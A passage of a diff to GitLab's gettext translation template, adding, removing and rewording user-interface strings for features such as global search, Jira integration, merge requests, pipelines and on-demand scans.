-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13529,7 +13762,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13710,9 +13943,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13830,6 +14060,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -13905,6 +14141,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14020,6 +14262,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14086,6 +14331,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14098,9 +14346,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14538,6 +14783,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14634,15 +14882,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14721,6 +14960,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14934,6 +15176,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15039,9 +15284,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15315,9 +15557,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15489,6 +15728,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15552,6 +15794,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15723,6 +15968,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -15870,7 +16160,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -15927,6 +16229,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16191,7 +16496,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16491,6 +16796,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16668,7 +16979,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16683,7 +16997,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16782,6 +17099,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17045,7 +17365,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17084,6 +17404,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17858,7 +18181,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18023,9 +18349,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18089,6 +18412,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18303,12 +18629,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18426,6 +18758,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18441,6 +18776,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18471,7 +18812,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18528,7 +18872,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18666,22 +19010,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18696,9 +19037,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18717,9 +19055,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -18906,6 +19241,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -18981,6 +19319,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19038,16 +19379,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19056,9 +19394,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19152,6 +19487,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19161,6 +19499,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19257,9 +19598,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19284,9 +19631,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19395,18 +19739,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19425,18 +19760,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19446,6 +19775,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19455,12 +19787,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19491,9 +19817,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19791,6 +20114,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20134,7 +20460,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20239,6 +20565,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20284,6 +20613,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20416,9 +20748,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20446,13 +20775,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20470,6 +20799,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20684,7 +21016,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20765,7 +21097,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -20978,6 +21310,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -20996,6 +21331,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21203,9 +21541,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21368,6 +21703,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21383,6 +21724,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21428,22 +21772,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21563,6 +21898,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22198,6 +22545,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22448,9 +22798,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22601,9 +22948,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22628,6 +22972,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22830,6 +23177,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -22866,6 +23216,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23061,6 +23414,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23109,9 +23465,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23154,6 +23516,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23175,6 +23540,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23269,6 +23637,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23480,7 +23851,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23636,7 +24007,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23720,6 +24091,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23810,19 +24187,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -23841,6 +24218,12 @@ msgid "One more item"
msgid_plural "%d more items"
msgstr[0] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -23880,6 +24263,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -23901,6 +24287,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -23919,7 +24308,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24159,6 +24548,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24514,6 +24906,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24610,9 +25005,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -24865,6 +25257,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25180,9 +25578,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25312,6 +25707,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25327,9 +25725,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25420,10 +25815,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25564,6 +25959,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25591,9 +25989,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -25834,7 +26229,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26116,7 +26511,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26137,13 +26532,13 @@ msgstr ""
